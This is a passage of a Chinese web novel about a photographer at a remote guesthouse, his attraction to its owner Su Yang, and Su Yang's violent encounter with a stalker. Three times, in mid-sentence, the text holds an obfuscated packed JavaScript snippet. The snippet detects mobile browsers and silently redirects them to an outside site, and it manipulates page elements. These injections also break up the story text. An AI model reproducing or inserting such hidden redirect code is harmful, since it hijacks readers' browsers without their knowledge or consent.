“不贵吗?”赵钊坐起身来目光炯炯:“我有时去哥市唐人街和同学聚会,三餐下来要几百个元子呢!” 哥市?唐人街?同学? “你哪个学校的?”探究的眼神在镜片后一闪而过。 果不其然,太子爷报上了那个耳熟能详到几乎听烂的名字。 谢白颐痛苦地闭上眼。 完了,这是什么运气? 搁这山旮旯的地带都能遇见校友,这下想做个萍水相逢的陌路人,怕是再也不能够了。 他没有自报家门,就被太子爷猜出了门道。当下很热心地把人拉进了国内建的海归校友群,并且主动报上自己的身份。 游戏设计专业本硕连读,现在位于某大公司担任技术总监。 谢白颐的面色霎时变得有些难看,指着屏幕说:“你不会是这个游戏的策划吧?” 赵钊咧嘴:“逻辑满分啊!这么快就猜出来了。” 你也不遑多让。 两个人双双掉马,谈起话来也没什么顾忌。当赵太子爷问起职业经历时,谢大摄影师主动分享了自己的媒体账号。 “观鸟?”赵钊嘴里咬着山核桃,“你是拍纪录片的?” 谢白颐点头:“纪录片是主打,偶尔剪个vlog。” 太子爷随手按了关注,往下扒拉两眼,来了兴致:“你还和老婆做直播啊?夫妻档流量应该挺好的吧?” 谢白颐观察着大厅四周,见苏漾不在,才放心说:“你也看到了,咱这个地方没生意。我就想着开直播引流,看看能不能吸引更多的同好过来赏脸。” 赵钊没有说话,扒拉着手机吃得得劲儿。 过了一会儿,他突然心不在焉地随口说:“你有没有想过开发个公益游戏?” 14. 好甜 “公益游戏?”谢白颐对这个名词有点陌生,“运营成本不低吧?谁没事儿烧钱做这个。” “如果你们这个账号做的是保护动物题材,可以考虑一下。” 赵钊拿出了自己的专业能力,从平板电脑里翻出好几个近期案例给人分析,并且调出自己做的独家数据库。 本来是办公用的,倒也不算工作机密。谢白颐探头看去,只见列表里的游戏公司或多或少都会将收入的某个固定百分比捐给合作的慈善机构。 这些公益项目里,有在沙漠种植树木的,也有给山区孩童捐书捐款的,上到公益午餐公益服装,下到志愿者支援服务应有尽有,仔细看下来,表格还挺长。 “公益游戏,顾名思义,就是在明面上告诉大众你要用游戏收入的多少百分比捐款给慈善机构。当然游戏内也可以售卖公益道具,但这种道具的收入则要100%捐赠。” 谢白颐觉得这个提议很好,马上记了下来,并向赵钊询问了游戏制作方的联系方式。 赵钊推荐了几个同行,报价有高有低,但都是苏漾目前承担不起的数字。 但人家好心帮忙,无论怎么说都要谢过。至于能不能做,何时做,且看天意是否允许水到渠成。 这件事情他并没有跟苏大老板提及,毕竟摔了一面镜子都要赔进去好几天的收入,开发游戏这种资本运作,于他于己都高不可攀。 但凡幻想一下,都会被人说患了大头症的程度。 赵钊住了五天就离开了,临行前主动教会了二人如何开通线上打卡活动,带上张扬的红色头盔,骑着百万机车呼啸离去。 苏漾站在门口,遥遥望着对方的背影,有些失神。 谢白颐见状,心口微微泛起酸。 “看什么呢?” 不知是不是这几日被赵钊“你老婆,你媳妇”地喊顺了耳,谢白颐打心底里已经默认了这位粉毛长发大美人是自己的心尖宠。 享受了几日温情脉脉,骤然被机车的呼啦声从美好的幻想里拽出来,心头难免涌上巨大的失落。 他没有感情经验,面对这种陌生的感觉有些六神无主,此情此景完全想不到用什么方式应对。 是继续嘴上没把门把人调戏一番?还是幽幽埋怨几句以示不满? 好像无论哪个选择,都很怪。 他是男人,苏漾也是男人。 男人和男人在一起,不太好吧? 谢白颐光是想想都头疼。 他可不希望把人带回家后被亲戚朋友“哟呵”几句,转头跟他老爸说:“叔叔,你儿子是个gay!” 见惯了物种多样性的谢老头子未必会动手打人。但他这个做儿子的,估计能尴尬到跳河。 但是话说回来,事已至此,如果真的没发生些什么,或许会在此后的岁月里回想起来,成为毕生遗憾。 光是想想,心口空落落的大口子都在呼呼漏风。 很难受,浑身上下的难受。 不懂人间疾苦的谢大爷很不喜欢这种感觉。 脑子里胡思乱想飘来飘去,但视线却稳若磐石地押在面前的大美人身上,目不转睛,半分都不舍得移开。 察觉到身边赤-裸的视线,苏漾撤回眺望,不去看他。 “你还记得赵钊刚来这里的模样吗?” 这话问得突然,让谢白颐不禁一愣。 阴天下着雨,被紧身服包裹出肌肉线条的机车男毫不避讳地走进民宿,大摇大摆环视一圈,眼中蔑视和口中不屑完美结合,说出那句谁也不爱听的话:“愣着干嘛?开房啊?” 记忆犹新,像刚被洗出来的胶片,颜色鲜艳分明。 他忍俊不禁,感慨道:“果然人不可貌相,谁能想到那样没素质的一个人,居然是个热心肠。” 话音刚落,引来了美人回眸。 那双水光潋滟的眼睛放在他的脸上,滴溜溜地滚了一圈,看得他心虚又不自在。 好在苏漾是个分寸感极强的,也没多问,转身回到民宿内。 又过一日,检查结果出来了。 谢白颐将人载上驱车前往,出山的路途风景正好,几日不见山边开了一些稀疏的白花,墨绿色的植被融为背景,更衬得清新可贵。 “你认得这花的品种吗?”他看着倒视镜里的路况,提道。 坐在身旁的人眨眨眼:“你说这些白花吗?是珍珠梅。” 珍珠与梅,诗意浪漫,听上去不像高原地区会起的名字,反倒带了江南如诗的柔情缱绻。 是那种温柔的,高洁的,被矜持的贵气携带到上流社会,摆放在五星级酒店的大堂中间,一枝独秀。 谁能想到,在名利声色场里万众瞩目的存在,出身于自由奔放的高原旷野。 谢白颐打开车窗,音乐在风中穿梭流淌,他难得放松了心情。 回想起来,这好像是苏漾第一次在自愿的情况下走上自己的车。 国道部分的路面修得平整洁净,一路盘山下来不觉崎岖。不过半个多小时,那辆高级越野就顺利停进了医院的地下车库。 苏漾拿了检查结果,正在排队候诊,见人蹬着脚步上来,视线高抬些许。 “你不是说这双是家居鞋么,怎么还穿出来了?” 谢白颐往自己脚上看去。 “出门着急,忘换了。” 这话说的,他自己都不信。 果见问话的人眼神一闪,很识趣地敛起,不再多问。 半晌,冰凉的指尖从手里抽走了矿泉水。 “我喝过不卫生,给你买新的。”谢大爷伸手就想抢回来。 苏漾偏不听,转过身去倒了几口。光线下细微颤动的喉结仰出优美的弧度,被粉发挡得若隐若现,叫人忍不住寻个角度看得细致。 他细细品了一会儿,才还给归属者:“好甜。” 矿泉水瓶带了对方的温度,握在手上,暖得呼吸都停了。 谢白颐沉默片刻,拧开瓶盖尝了几口,果真品出一丝甜味来。 怪了不是? 从前他怎么没发现。 苏漾的身体没什么大毛病,小毛病倒是有一个。 肌肉拉伤。 谢白颐坐在车里没有急着离开,将那份检查报告来来回回看了好几次,视线最终落在对方贴着副驾驶靠背的缝隙上。 “好像没见你搬过重物,肩胛骨怎么拉伤的?” 对方系上安全带,粉发在动作间一晃一挡很是蛊人。听完这话,不由活动了一下受伤的肩膀,说:“跟人搏斗伤的。” 搏斗? 谢白颐想了好一会儿,才记起来他们在初见面时,那个曾出现在对话里的精神病。 “我住进来有段时间了,一直没见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240442|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到有人持刀找上门来,是搬走了吗?” 苏漾眼神微滞。 他这时才反应过来,自从民宿里住进了个谢大爷,半个多月过去,似乎无人再来骚扰。 “那还得感谢您,给我当门神,除煞去祟。” 谢大爷乐了:“你这是夸我呢?还是骂我呢?” 苏老板很是认真地回答:“当然是夸您。莫非你对自己的容貌不自信?” 这话说的,中听。 金丝镜框泛起微光,从旁边看去,能捕捉到脸上明显的笑意。 “走,为了庆祝你没被郁金香毒死,哥请你吃顿好的。” —— 说是吃顿好的,但实际也没有太好。偏远山区的县城比不得大城市,没有那么多探店可以打卡。谢白颐在导航里搜索了老半天,才选定一家评分尚可的酒家。 “想吃点啥,你来点。” 餐牌被推到苏漾面前。 对方也不客气,拿起来翻了几下,点了几道他这个外地人没听说过的。 为了避免出错,谢白颐拿过餐牌选了几个常规菜,看了眼打印出来的小票,才知道那些听上去稀奇古怪的东西对应的是哪几个字。 “能吃吗?” “好吃。”苏漾眼神亮晶晶的,好似天花板上挂的水晶灯,璀璨又夺目。 坐在对面的人微微失神,喉结一滚,压下某种诡异的冲动。 真是该死!居然想亲上那双漂亮的眼睛。 谢白颐忽地有些绝望,近日来某些可耻的念头和私心不断冒泡,一连串缺根筋的大脑故障搞得人心惶惶。 他不会真是个gay吧! 虽说现代社会已经对这个外来词接受程度颇高,也不再带有歧视色彩,但谢白颐还是有些无法坦然。 倒不是固陈守旧,只是在过往的28年里,他一直以为自己只是没遇到心动的妹子,从未往过取向方面想。 毕竟,他自诩直男,对旁的更没有兴趣。 西南之旅不愧是举国闻名的脱单圣地,古井无波了将近三十年的心,居然会为一个与自己同个性别的人跳动,进而产生逐渐失控的妄念和幻想。 这么久过去,自始自终不敢回忆那个夜晚。翻涌的话叠在被子里,层层靡靡的细汗下,他在起伏间不断亲吻着那片水色的唇。 虽说只是个梦,但终究有什么变得不一样了。 谢白颐收回目光,第一次产生了不敢见观音的念头, 他怕骚扰到人家。 好在苏漾极有分寸,即便察觉到什么也当做不知。那坦然夹着花生米等菜的模样,倒衬得自己是个满脑子废料的衣冠禽兽。 闭了闭眼,将那些杂七杂八影响二人关系的念头尽数抛去,主动搭话:“这都是些什么?菜谱里好像没看到。” 苏漾张了张嘴,发现自己解释不清,于是喊服务员拿来了菜谱,直接掀到那几页递过去。 谢白颐接过看了,脸色微变。 那几道菜可以称得上是“故意克制”或“手下留情”。毕竟在这几道听说过的食材旁边,赫然环绕了清一色的烤虫烤蝎子。 不得不说,贴在心尖上的可人还是考虑到自己的感受了。 但不多。 他欲言又止,半天还是没忍住吐槽。 “不是……这些东西,真的是你们当地菜啊?” 15. 失踪 这一顿饭,两个人分别吃出了截然不同的状态。 苏漾撸着烤蝎子,高兴得眼睛都眯了起来,笑意在脸颊上堆成了浅浅淡淡的粉色,配上那头打了侧麻花辫的头发,艳得惊心动魄。 反观谢白颐,虽然点的都是自己能吃的爱吃的,但面对美人吃虫的惊悚画面,再多的食欲都被被风浪卷走,统统扔到大海里。 他很后悔给了苏大老板自由选择的机会。 就知道这个怪胎会做出惊世骇俗的举动。 “美人儿,求你,吃归吃,别跟饿死鬼投胎一样可以吗?” 粉色头颅对面的从餐盘里抬起,露出那张雪作肌肤的面容,带了些茫然。 他小口咀嚼着,手上的蝎子被咬了一半,过了很久才发出个字:“啊?” “......” 说出刚才那番话的主人收回了视线。 确实难为他,一只蝎子吃了将近十五分钟,还被说成饿死鬼投胎。 但谢白颐还是有点难受:“咱以后能不吃这种不常见的生物吗?” 苏漾眨眨眼,目光顿时暗淡几分,没有了方才那种神采奕奕的欢喜。 他放下蝎子串,抽出纸巾抿去嘴上酱料,喊来服务员:“您好,帮我把这几盘东西撤了吧。” 服务员看了眼几乎没怎么动的烤串,露出赔笑:“好的先生,请问是菜品不合胃口还是......” “嗯。”苏漾说,“不太好吃,帮我把菜谱拿来。” 他全程低着头,没去看对面的男人一眼,自顾自地点了两道普通到再不能的蔬菜。 蒜蓉油麦菜和地三鲜。 本来如水晶灯般亮眼闪耀的人忽然变作沉寂夜空的星辰,神色恹恹地不说话了。 谢白颐看着很不是滋味儿。 说好了请人吃饭,结果人没招待好,反倒伤心了。 “我没那个意思,你完全可以不用撤......” 话未说完,就被对方打断了。 “是他们做的不好吃,换菜合情合理。” 这顿饭的后半程,苏漾再也没露出过一个笑容,也没说过一句话。 叮叮当当的筷子声敲响了尴尬,直到坐回车里,谢白颐的脑中都是对方瞬间黯淡下去的眼神。 对不起。 他在心里默默道了个歉。 今日回来得晚,到民宿后已是下午三点。临近夕阳西下的时间节点很是尴尬,若说现在去拍鸟,从出发开始算,抵达目的地架好设备调试镜头,少说得大半个小时,剩下的时间且不说光线如何,也未必能等到鸟类出没,更枉论直播了。 这段时日的拍摄目标是白眉朱雀,更常见于高山灌丛,与黑额山噪鹛和灰头灰雀的栖息地鲜少重合。 地图上标出来的观测点在距离民宿的五公里外,需要驱车前往,仔细算下来也得一个小时的前置时间。 谢白颐在账号上发了直播请假条,坐在电脑前打算剪辑新一期的vlog。 只是鼠标滚了又滚,ctrl+z按了又按,半天都没剪出一分钟的视频来。 他心烦意乱,将鼠标猛地一甩,背靠椅子对着软件发呆。 做牛马这么多年,已经很久没出现过因私人问题影响工作进度的事情了。 谢大爷满脑都是那只漂亮粉毛。 对方脸上那失落难过的神色,早已超过了中午那顿饭所留下的阴影。心中逐渐被名为“愧疚”的情绪占满,不安愈发浓烈。 真是奇了。 他不禁回想起半个月前的光景。 那时的自己面对同样一张脸,还会故意将人惹不痛快,以用于欣赏那副好看眉眼纠结起来的模样。 现如今,怎么就不舍得了呢? 直男谢白颐完全没有意识到“不舍得”三个字意味着什么。胃里灼烧,心也有点涩痛,他还以为是中午的酸汤喝太多。 思前想后,仍旧决定站起身。从行李箱里翻出了常用特效药,端着杯子去大厅接了杯柠檬水。 屋子里不是没有烧水壶,但莫名地,他就是不想用。 只是为了多看一眼那只粉毛。 两个小时不见,想他了。 然而苏漾根本没在客厅里。 四周安静得很,完全没有生物活动的痕迹,从厨房到大堂和二楼客房寻了个遍,都见不到那抹粉色的身影。 怪了,能去哪儿? 谢白颐掏出手机,找到了那个自从储存之后从未打过的电话。 叽叽喳喳的鸟鸣声从前台桌面传来。 没带手机? 更不对了! 心中陡然升起不详的预感,他急忙拨通语音,将何桉和另外那位的小伙伴喊过来守门,自己则在常去的几个拍摄地点高声寻人。 “苏漾——” “苏大老板——” “苏美人儿——听得见吗?” 回答他的,只有山间荡漾的回音。 一个小时说长不长,但足以让边找边喊的人感到疲惫。谢白颐站在青石路上,不断刷新手机信号,大口喘息。 没带手机出门,看样子不似忘了,倒像有什么急事。 山上黑夜逐渐袭来,眼看着要将墨绿的树林吞噬。他匆忙下山,意外在路径上看到几片掉落的粉色的羽毛。 浅浅的,像极了苏漾的发色。 谢白颐心中一动,鬼使神差地捡了起来。 根部呈断裂状,看样子不像自然脱落。毛发的边缘碎了些,好像破掉的衣裳。 隐约地,他似乎也看到了那只粉毛受伤的模样。 不好...... 突然失踪,必有蹊跷! 电光石火间,谢白颐想起了民宿里安装的10个摄像头。 他以最快的速度闯了回去,推门大喊:“快!把监控画面调取出来!” 何桉从厨房里钻出,听到喊话心下微惊:“什么监控?怎么了?” “苏老板失踪,时间大概在下午的3点到4点半之间。” 手上还拌着肉馅的厨子眼睛登时大了两圈,筷子停下了搅动,人朝二楼高声道:“苏寒!去查监控!” 很快,仓促的脚步声飞奔下楼。 打杂的小伙伴和粉发大美人一个姓,听说是苏漾父母收养回来的弟弟,没有血缘。但哥俩关系好,从小同吃同住,后来苏漾去了京都上大学,一年也见不到几次。又隔了两年,苏寒也考进了西南高校学医,更加鲜于往来。 此时刚放暑假,苏寒正在考虑转专业的问题,故而没在学校的实验室待着,提前一周申请回到民宿帮忙。 结果帮了没几天,哥不见了。 何桉对这种电子设备的调试自然没有苏家的两个高材生来得麻利,只见苏寒三下五除二将前台电脑的监控画面调取出来,逐帧往后拉。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240443|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 三个人都不约而同地屏住了呼吸。 3点10分没有…… 3点20分没有…… 30分,40分,50分…… “停!” 随着空格键响起,画面停在了3点55分。 一抹两眼的粉色缓步出现在屏幕前。 谢白颐按下呼之欲出的心跳,嗓子紧绷哑声说:“看看他去哪儿?” 播放键重新点开,只见画面中唯一的粉色移动到前台,从抽屉里拿出摞纸,翻了几页又塞回去。 转头,离开。 谢白颐皱眉。 画面中的苏漾很自在,随意得如同无聊之举,怎么看都不像出事的前兆。 “再往后拉。” 视频的每一帧都变得尤为漫长,像延时镜头一样放缓无数背,力求细节表现的最大化。 忽然,在4点47分的时候,监控处传来了哐啷的响声。 紧接着,那头粉发急匆匆地再次出现在屏幕前,看着门外伸出手指,不知道说了些什么,抬步追了出去。 至此杳无音信。 空间出现了短暂的沉默。 “谢哥。”苏寒问道,“你没听到那声巨响吗?” 谢白颐艰难地咽了口水。 实不相瞒,真没有。 一来房间关着门,民宿装修用的选材太好,隔音效果最是一流。 二来他在走神。 满脑子倩影的谢大爷自然不敢告诉苏寒自己在肖想他哥,于是只能尴尬地扯了个还算合理的谎:“我在剪视频,带着耳机没听见。” 何桉呼出一口气,表情异常冷静,拿起前台电话。 “报警吧!警方会处理这件事的。” 谢白颐提供了监控片段,录完口供之后坐在沙发上,给自己倒了杯苏漾回到民宿后例行公事准备的果茶。 “何桉看上去很冷静。”他看着同样沉着的苏寒,试探道。 细看来,二人虽然没有血缘关系,但眉目竟出奇相似。苏寒也生了一副浓颜挂的美丽,却比苏漾多了几分凌厉,少了些许柔和。 只见那黑云密布的脸上浮现出一丝阴狠:“我知道那个声响是谁弄出来的。” 谢白颐一惊,急问道:“是谁?” “那个精神病。” 久未听说过这号姓名,金丝镜片后的眼睛慢慢睁成了不可思议的弧度:“你怎么知道?” “是枪声。”苏寒沉声,冷笑着说出两个字:“猎枪。” 纵使再迟钝的人,此时也察觉到哪里不对劲了。 “现在怎么还有持枪的?不违反吗?” “你跟一个精神病谈违法,他就跟你聊医学。”凌厉的眉眼满是嘲讽:“真不公平,明明精神病也有很多种,凭什么有些人就能逍遥法外?” 谢白颐没敢说话,直觉这兄弟俩跟某种不为人知的黑暗有些关系。 一个学生物,一个学医,都被不正常的疯子骚扰。 他们遇见了谁? 这个晚上风雨拍得急,敲在玻璃窗上噪音狂响,连带着一颗心都被打得极不安宁。 他横竖睡不着,开灯呆坐在沙发上,无意识地重复刷着手机,企图在第一时间获得警方回传的消息。 忽然,门被“砰”地打开。 伴随着雨水落地的哗啦响,闪电猛然照亮了来人带血的面庞。 16. 哪个医院的? “轰隆!” 惊雷在门后响起。 谢白颐一个翻身落地,急忙走到人的跟前,捧起对方那张美丽破碎的脸,担忧和心疼在眼中左右横跳。 “怎么搞成这样?去了哪里?” 苏漾沉下手臂,四两拨千斤地推开对方,走到廊下的小厨房中,打开水龙头洗了把脸。 血顺着水柱流下,在池子里打了个圈,从下水管处溜走。 他接过旁边主动递来的擦脸巾,胡乱抹干净,露出光洁如初的面庞。 “不是我的血,别担心。” 那颗跳到嗓子眼的心脏随着这句话的出现,慢慢回归原位。 “我等了你好久……” 谢白颐说这话时,声音很哑。 只见对方抬起头,素来坚定的眼神里难得透出失态的疲惫。他整个人看上去都在昏昏欲睡,抬脚就要往自己的卧室走去。 谢白颐一把拉住,指了指客厅:“何桉和你弟都来了,等了半天,不先报个平安再睡?” 苏漾困倦着眼,手下意识地伸向裤兜,忽地浑身一僵。 他霎时清醒了几分:“我手机呢?” 那懵懂愕然的样子看得谢白颐有些失笑。 “在前台放着呢!你出去这么久,拿没拿手机自己不知道?” 没带脑子出门的人摇摇头,换了个话题,问起当前时间来。 谢白颐掏出手机,将亮起的锁屏伸到对方眼前。 透过模糊的视线,依稀可见上面显示的时间。 原来已经凌晨四点了。 苏漾没想到自己跑出去一趟,回来已是将近凌晨。 人类这种生物似乎被时钟绑架得很死,每日作息都被指使得极有规律。一旦将时间这个概念从生活里抽离出来,只需混沌原始地过上一天,再回头看时,自己竟短暂地与社会脱过节。 失踪的人说:“那你先去报平安,叫他们等一下,我去换件衣服。” 谢白颐光顾着紧张人,半天都无暇顾及其他。经人这么一说,才反应过来对方身上溅了血。 像开花一样,触目惊心。 “受伤了?”谢白颐伸手就要摸。 苏漾是什么人?身形敏捷拳脚生风,当即不动声色地躲过了对方探来的手,“蹭蹭”两步径直去了卧室。 比不得二楼的豪华大床房,老板住所须得离前台近,方便随时起身登记夜里前来留宿的客人。 谢白颐回到大厅,将情况和两个久等的伙伴说了,换来长舒两口气。 他们就这样坐在沙发上等,也不说话,静静地看着时针一分一秒地走过。 大家都疲惫了,夜深更重,本就是熟睡的时间。 哪怕夜猫子,也会在这个点儿犯困。 以前谢白颐在公司加班时,赶稿子经常熬个通宵。每次、他会给自己泡上一杯黑咖啡提神醒脑,键盘鼠标敲到天亮。 但不可否认的是,即便咖啡在手,凌晨4-5点的办公室仍然充斥着此起彼伏的哈欠连天。 现在回想起来,只觉得那时的自己可真他-妈的命苦。 毕业于哥大导演系的学生刚回国就被某公司猎头盯上,通过老板直聘亲手递来了令人心动的offer。那时的谢小爷还是个愣头青,以为自己的文凭和专业能力有多么吃香,一点儿细节也没考虑,欣然接受了对方发来的“高薪”聘请。 事实证明,初出茅庐的小子还是太单纯了些。 入职公司后的第三天,他看着满满当当的行程和活计,才后知后觉发现自己被人便宜使唤了。 整辑纪录片的工作,他一个人肩负起摄影、统筹和脚本三个职责。 换而言之,一份工资打三份工,平均下来2500。 单做牛或单做马都还能按时休息,而做牛马,则要随时奖励自己一杯咖啡,以更努力地埋头拉磨。 这句话,还是谢白颐有天放假去了某脱口秀转场意外听来的。 以至于如今聊天软件的头像还是那只拉磨的驴,昵称也起得窝囊:今天奖励自己咖啡了吗? 习惯了深夜睁眼的谢白颐勉强能维持神志清明,坐在沙发上刷着手机,硬生生等了人半个小时。 眼见着挨着沙发靠背的两个人都开始打瞌睡,才将那道姗姗来迟的粉色身影盼了来。 对方换了身干净衣服,头发鲜亮蓬松明显被洗过,呈现出愈发靓丽的颜色来。 疑惑像过堂风似地在谢白颐脑中穿过。 就算他再不懂美妆时尚,好歹也在圈里混了这么多年。印象中,那些女明星打理浅发极为麻烦且固色困难,任你再好的染剂,多洗几次都能掉没。 但苏漾不知道掌握了什么神通,既不用补色,也不用漂染,每日光鲜亮丽地往太阳底下一站,连毛茸茸的发根都泛着浑然天成的浅粉色。 除非那是顶假发。 但整宿没睡的人实在太担心了,念头一闪根本来不及捕捉,就被悄然隐藏在了脑干之后。 他迎上前去,话到嘴边全忘记了,忽然不知道该说什么。 苏寒站起身来,迎接他哥:“是不是那个……” 话音刚落,就被斜来的视线截住了话头。 苏漾冷了眸子,沉声说是。 谢白颐左看看右看看,总觉得这兄弟俩有什么不可告人的秘密。 何桉则听罢皱眉:“他人呢?” 怎么?这个看上去也是个知晓内情的? 还没等人疑惑明白,就听见苏漾冷笑说:“送局子里去了。” 谢白颐总觉得自己错过了什么有效信息,听他们三个人的对话,似乎都对这个素未谋面的精神病很是熟知。 这种被排挤在外的感觉并不好。 明明自己才是那个最关心苏大老板的人,怎么到头来反而成了边缘人物。 他看着平安归来的家伙,眼神从担忧逐渐转为嫉妒,最后变成了哀怨。 苏漾似乎察觉到了什么,侧眸将那道不合时宜的目光微微盯住,直到对方识趣地缩了回去。 为了挡住那抹探究的视线,白得近乎透明的手指撩起后背的长发挡住脸,盖在了优雅的下颌线上。只是他生得浓艳,五官又极为立体,从侧面看去,视线只需上移一点儿,就能轻而易举地捕捉到那抹开合有度的嫣红。 那里看上去很软,和它的主人一样透着清润的粉色,看久了不免心驰荡漾。 想落上去,从中吸取些什么东西。 谢白颐看出了神,后续的对话全变成了不留痕迹的耳旁风。 身为留子,他自认为外语不太好,中文也退步得不像话。但在这一刻,当成语“招蜂引蝶”具象化时,忽然明白了其中含义。 如今的自己就是那只狂蜂烂蝶,只配出现在反面教材中,时常想着吮食花蜜解渴,别无其他意味。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17240444|197706||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这边心思不纯的人头脑乱糟糟,那边苏寒听完了长串的实事转播,不仅没有头晕脑胀,反倒清醒万分。 或许对于每天课本堆成山的医学生来说,这么点口头讲述压根不算什么。 他陷入深思,很长的一段时间里都没有说话。 而这种沉默给了谢白颐一种尘埃落定的错觉。 他心猿意马,以为终于可以迎来无人打扰的二人世界,正寻思着如何开启一番试探,就被对方的忽然开口勒住了缰绳。 “精神病院那边有没有什么说法?” 这话问得走神许久的谢大爷眉心一跳。 刚才不还是在说送110那边去了?怎么画风急转,电话号码的数字上忽然加了10? 只听苏漾摇头说:“我们当地的精神科档案里查不到他的资料,但对方也确实拿得出来病例和服药的证据。目前已经上报,估计他是从省市级别的医院里逃跑出来的。” “病例上写着是哪个医院的?” “十几年前的老病例,字迹已经模糊了,但里头内容还在,只能证明确实有过这个病史。” 谢白颐终于回过了神。 电光石火间,脑中迅速闪过一丝灵感。他抓住其中关窍,在脑子还未反应过来之前脱口而出:“有没有可能他现在根本没住院?” 此话一出,众人同时回眸。 六道震惊的视线实在太亮,险些把他24k纯金镶边的镜框闪褪色。 他清清嗓子端正姿态,故作深沉地扶了下滑落鼻梁的眼睛:“病例这种东西是十几年前的老古董了,现在电子时代,开方问诊全部都在电脑上操作打印。据我所知,现在国内的就诊记录早已全国联网,如果县城的医院查不到有关就诊情况,省市哪怕调出来十几年前的档案也无济于事。毕竟按照目前医疗界最新的规定,只有录入数据库的就诊记录才能成为当前状态的合法有效证据,不是吗? 谢白颐说这话时,自然而然地看向在座唯一的一名医学生。 苏寒瞬间白了脸,点头认可。 顶着金丝眼睛充装斯文败类的人摊手,似乎在证明去省市级医院调查档案是没有意义的事。 久未说话的何桉问:“他应该不是本地人。” 苏漾回眸,有些惊诧。 苏寒也问:“我听着口音没问题啊?” 只见人摇头:“学的像,但我今天查监控时,听到有个词暴露了他的来处。” 被迫走南闯北多年领略哥无数人文风情的牛马一下子就想到了那古怪的声音。 他皱眉思索半天,隐隐约约品出那里藏了声略显违和的平调。 倒像是…… “西北!”他们不约而同地说出口。 如果是这样,那就很完蛋了。 无法调取相关就医档案,也就意味着对方手里的纸质病历仍旧生效。况且对方还存在持枪杀人的重大嫌疑,一旦报案就有可能涉及籍贯归属,跨省联合怕是没那么容易。 四张脸色灰白如纸。 事情推演至此,一时半会儿也无法想出对策。横竖苏漾说此人已被他送到警局,至于接下来的安全问题便只能交给官方去处理了。 天边已经泛起蒙蒙亮,苏寒见状站起身来说要回家,却被他哥喊住。 “你俩等了我一宿,现在回县城等于疲劳驾驶。反正近期没有客人来,你们随便找个房间睡,醒了再回去不迟。” 17. 干什么 谢白颐这一觉睡到下午五点,完美地错过了中饭时间。 他习惯性地来到小厨房,见人不在,就知道何桉他们已经回到县城去了。 他随便翻出包挂面,再从冰箱里找到西红柿和鸡蛋,又做起打卤面来。 人有时候就是这么欠,享受了一段时间的山珍海味,忽然又想吃点朴实无华的地道菜调和,取其中庸之道。 打卤料多做了一份,专门留给苏漾的,也不知道对方起床没。 想起半夜惊雷闪电下的血色,谢白颐还是有些胆战心惊。 他胡乱嗦完面,缓解了饥肠辘辘的胃疼,准备上二楼将电脑拿下来剪辑。 比起屋子里安静的书桌,他更喜欢在一楼大堂旁边宽敞的高脚台旁工作,困了乏了喝点茶,还可以随时随地看几眼美人解馋。 他蹬着半掉不掉的拖鞋上楼,还没走到自己房门口,就听到了隔壁屋传来动静。 有了前一日的教训,难免留了心。 谢白颐蹑手蹑脚撤回几步,透过半掩的门缝朝里看去,果不其然有道人影正在活动。 不过还好,粉色的,很安心。 似乎为了方便干活,长发被主人打成了辫子甩在脑后,随着动作一晃一动,鞭得心脏突突狂跳。 啊!做贼的感觉可真酸爽。 他刚品出些滋味儿来,还没享受多久,就听见里头传来倒吸凉气的声音。 偷看的人登时待不住了推门而入,看向捂着肩膀的身影。 “怎么了?又拉伤了?” 捏着被角的手松开,苏漾前功尽弃跌坐床上,捂着左肩脸色微白。 半晌,才缓了口气说:“没事,不小心扯到了而已。” 谢白颐眯起眼睛。 如果没记错的话,此人之前受伤的地方在肩胛骨,而不是..... 目前正在捂着的前肩窝。 他皱眉,闪电般伸出手扒开遮住锁骨的衣领,在对方惊愕到来不及反应的目光下,看见那抹打斜缠绕的白色布条。 “没受伤,那这个是什么?”谢白颐指着明晃晃的绷带问道。 “跌打损伤......”回答的声音越来越低。 呵! 信你不如信我是秦始皇。 他使出蛮力,只想扯下来看个究竟,却被对方抢先一步察觉意图。 飞来的无影脚眼见着就要落在自己那副用来脱单的门面上,谢白颐眼神一凛急忙躲过,手上力道却没松开。劲儿被惯性使猛,直接崩飞两颗纽扣,硬生生撕烂了衣裳。 他只觉得眼前晃过一片亮眼的白,还没来得及定睛细看,就见对方身形闪过,迅速将自己缩进被子里裹成了团。 “流氓!登徒子!色狼!” 随着一连串又羞又急的怒骂,蛮横无理的地痞谢大爷才后知后觉他刚才看到的是什么。 嚯!生得还挺白! 跟珍珠似的。 他扬起手上半片衣服,笑笑:“骂得挺脏,可惜不够火候。” 对方闷闷的声音从被子里传来,含混不清地发出一长串音节。 